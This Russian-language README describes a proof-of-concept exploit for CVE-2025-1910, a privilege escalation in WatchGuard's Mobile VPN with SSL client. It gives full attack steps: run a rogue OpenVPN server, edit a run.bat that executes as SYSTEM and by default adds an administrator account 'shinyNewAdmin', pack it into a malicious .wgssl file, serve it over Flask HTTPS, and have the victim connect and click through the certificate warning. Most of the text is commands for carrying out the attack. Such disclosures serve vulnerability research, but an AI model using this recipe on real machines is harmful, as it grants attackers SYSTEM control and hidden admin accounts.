
Proof-of-Concept для эксплуатации CVE-2025-1910, локального повышения привилегий в клиенте Mobile VPN with SSL от Watchguard.
Уязвимость повышения привилегий в Mobile VPN with SSL от WatchGuard <= 12.11.2 позволяет пользователю с низкими привилегиями выполнять команды от имени SYSTEM на клиенте. Протестировано на версии Mobile VPN with SSL 12.11.2.
Более подробную информацию см. в нашей статье в блоге (немецкая версия).
sudo openvpn --config server.conf

Измените параметр remote в ./client/client.ovpn, чтобы он указывал на OpenVPN-сервер
Измените ./client/run.bat по своему усмотрению — этот скрипт будет выполнен от имени SYSTEM. По умолчанию создаётся новая учётная запись администратора (shinyNewAdmin)
Создайте вредоносный файл WatchGuard client.wgssl:
cd client/
# Create checksum
md5sum client.ovpn run.bat > MD5SUM
# Pack into a .wgssl file
tar -czf ../client_exploit.wgssl client.ovpn MD5SUM run.bat
cd ..
client.wgssl через flask:# Start the flask HTTPS server
sudo python3 srv.py

При необходимости новую пару сертификат/ключ можно создать с помощью openssl:
# Create certificate and private key for the HTTPS connection
openssl req -x509 -newkey rsa:4096 -nodes -out server.crt -keyout server.key -days 365 -subj "/CN=firebox"
Затем на машине жертвы, где установлена уязвимая версия Mobile VPN with SSL (например, версия 12.11.2, Скачать), попробуйте подключиться к серверу атакующего. Введённые имя пользователя и пароль не имеют значения:

Нажмите Да в предупреждении безопасности, чтобы проигнорировать предупреждения о сертификате:

После успешного установления соединения выполняется файл run.bat, и создаётся пользователь shinyNewAdmin:

На сервере атакующего должны быть установлены Python, openssl и openvpn. Кроме того, необходимо установить Python-пакет flask:
pip install -r requirements.txt
Если установлен Nix, можно просто запустить оболочку разработчика:
nix develop